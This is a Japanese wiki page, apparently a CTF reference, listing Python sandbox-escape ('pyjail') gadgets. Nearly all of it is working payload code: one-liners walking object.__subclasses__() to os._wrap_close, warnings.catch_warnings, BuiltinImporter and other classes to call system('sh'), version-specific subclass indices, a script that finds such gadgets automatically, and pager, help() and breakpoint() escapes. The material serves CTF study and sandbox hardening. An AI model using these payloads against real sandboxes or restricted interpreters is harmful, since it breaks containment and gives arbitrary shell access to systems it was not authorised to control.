pyjail wiki

Pyjail Gadgets

Overview

pyjail脱出で使用される主要なガジェット (クラス/オブジェクト) の一覧。

os._wrap_close

os.popen() の戻り値クラス。最も汎用的なガジェット。

# 探索
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close']
# 使用
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('sh')
# 利用可能な関数
# __init__.__globals__ から:
# - system
# - popen
# - listdir
# - getcwd
# - environ

インデックス (環境依存)

Python典型的インデックス
3.8117-120
3.9127-130
3.10132-135
3.11137-140
3.12140-145

warnings.catch_warnings

_module 属性から builtins にアクセス可能。

# 探索
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'catch_warnings']
# 使用
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('sh')

BuiltinImporter

直接モジュールをロードできる。

# 探索
[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'BuiltinImporter']
# 使用
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'BuiltinImporter'][0].load_module('os').system('sh')

FrozenImporter

凍結モジュールをロード。

# 使用
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'FrozenImporter'][0].load_module('os')

_sitebuiltins._Helper

help オブジェクトのクラス。

# help から
help.__class__.__repr__.__globals__['sys'].modules['os'].system('sh')

codecs.IncrementalEncoder

__init__.__globals__ から builtins アクセス。

[c for c in ().__class__.__bases__[0].__subclasses__()
if 'IncrementalEncoder' in str(c)][0].__init__.__globals__['__builtins__']

ガジェット探索スクリプト

# 危険なガジェットを自動探索
def find_gadgets():
gadgets = []
for i, c in enumerate(().__class__.__bases__[0].__subclasses__()):
try:
# __init__.__globals__ チェック
if hasattr(c.__init__, '__globals__'):
g = c.__init__.__globals__
for key in ['system', 'popen', '__builtins__', '__import__']:
if key in g:
gadgets.append((i, c.__name__, key))
except:
pass
# _module チェック
try:
obj = c()
if hasattr(obj, '_module'):
gadgets.append((i, c.__name__, '_module'))
except:
pass
return gadgets
for idx, name, attr in find_gadgets():
print(f"[{idx}] {name}: {attr}")

frame/generator ガジェット

フレームオブジェクトへのアクセス。

# generator の gi_frame
(x for x in []).gi_frame.f_builtins['eval']('...')
# 例外の __traceback__
try:
1/0
except Exception as e:
e.__traceback__.tb_frame.f_builtins

特殊ガジェット

license() # pager を起動、!command でシェル実行

breakpoint

breakpoint() # pdb を起動、そこから import 可能

help

help() # 対話モード、pager から脱出可能